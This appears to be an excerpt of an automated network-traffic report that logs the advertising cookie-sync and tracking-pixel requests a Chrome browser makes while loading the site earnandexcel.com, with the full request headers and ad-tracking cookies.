Source: global traffic	HTTP traffic detected: GET /usersync?b=rth&i=sonznUQRSOx4xPFYmKH8yXtY0yq6_MGtNjthouK4crQ&pi=gumgum&tc=1 HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /464246.gif?partner_uid=5592f986-8757-0ac2-1fcc-3396d08a4211 HTTP/1.1Host: id.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fasync_usersync%3Fcbfn%3DqueuePixels HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://acdn.adnxs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0LPhMhV4mNZIVH4yadR3w_7eHSzgx6thgqwxzJWE93ti0O1a040sXN70sT4qdZ96NyHUE82Lwk_pfdKLUxfl-l9wrACwU2TsHl48TqwRzi8.; uuid2=4283912458326592098
Source: global traffic	HTTP traffic detected: GET /www/sovrn_beacon_standalone/sovrn_standalone_beacon.js?iid=12343702 HTTP/1.1Host: cdn.lijit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?redir=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dsovrn%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID&sovrn_retry=true HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL
Source: global traffic	HTTP traffic detected: GET /cookie-sync/pm?gdpr=0&gdpr_consent=&_bee_ppp=1 HTTP/1.1Host: match.prod.bidr.ioConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: checkForPermission=ok
Source: global traffic	HTTP traffic detected: GET /sync/pubmatic/25F9549E-136A-47E9-9171-DA44C0E0D5E3?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=openx&google_cm&google_sc HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:FF4FA33AD55F4AFDAF353CD71FB72BED HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165
Source: global traffic	HTTP traffic detected: GET /usersync?b=oth&i=y-DAbm2JJE2pdrBnIlYtHgtwVlMTsTd9cDUHgS~A HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /AdServer/SPug?partnerID=156078&xid=y-A2UXkupE2uXw2ttIdZaIB8OFnkwUuqs-~A&gdpr=0 HTTP/1.1Host: image4.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165
Source: global traffic	HTTP traffic detected: GET /usersync?b=dit&i=di_b23c26339dbf4ab9aa059 HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /usersync?b=opx&i=6278d413-3e00-4a00-9da5-aefd13eef9ae HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=gumgum&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=u_a4cb566c-d29c-481c-82f5-d657255d141b HTTP/1.1Host: exchange.mediavine.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072971&val=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&ttd_puid=005486e0-4a10-3ca2-40b5-b365e91123c9&gdpr=0&gdpr_consent= HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=3c48d748-f84a-11ee-8242-bd2b605e64cf HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; PugT=1712870820
Source: global traffic	HTTP traffic detected: GET /usersync?b=vnt&i=d3c52a71-4626-42f8-b765-7c4caff9dd34 HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=ce1d1685-fcc3-0bce-20aa-55465b454e74 HTTP/1.1Host: exchange.mediavine.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=1mahn14&ttd_puid=3a6574e0-f84a-11ee-a9d1-333cefc92741&ttd_tpi=1&rurl=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthe_trade_desk%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%25%25TDID%25%25 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; TDCPM=CAESFwoIcHVibWF0aWMSCwjEjpiMhZ7tPBAFGAEgASgCMgsI2oSbuZue7TwQBTgBWghwdWJtYXRpY2AC
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=appnexus&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=3393848220146687847 HTTP/1.1Host: exchange.mediavine.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /server_match?&partner_id=1625&r=https://exchange.mediavine.com/usersync/redirect?partner=improvedigital&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId={PUB_USER_ID} HTTP/1.1Host: ice.360yield.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=1830&partner_device_id=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&ttd_puid=f873d799-987f-45f5-8689-9e999756dca0%2C%2C HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1712870811726; TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0; TapAd_3WAY_SYNCS=
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072399&val=3393848220146687847 HTTP/1.1Host: us-u.openx.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820
Source: global traffic	HTTP traffic detected: GET /ups/58749/sync?redir=true&gpp_sid=-1&gpp=DBABzw~1---~BqgAAAAAAgA HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDSYNC=18z8~2ht9; A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q
Source: global traffic	HTTP traffic detected: GET /api/v1/dsync/mediavine?exid=3a6574e0-f84a-11ee-a9d1-333cefc92741us_privacy=1---&r=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dkargo%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID HTTP/1.1Host: crb.kargo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aax2/apstag.js HTTP/1.1Host: c.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A3c01U0v-EwcgdxAicOV5rk; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=5882fa9d-56ba-8758-80bb-31f28122e829&dcc=t HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw\|t
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESENQ6H1ciB1fBhQrozbvvrnY&google_cver=1 HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; PugT=1712870820
Source: global traffic	HTTP traffic detected: GET /usersync?b=zem&i=kW4WCHlLKZTPSmfVrwIg&us_privacy=1--- HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /usersync?b=apn&i=3393848220146687847 HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
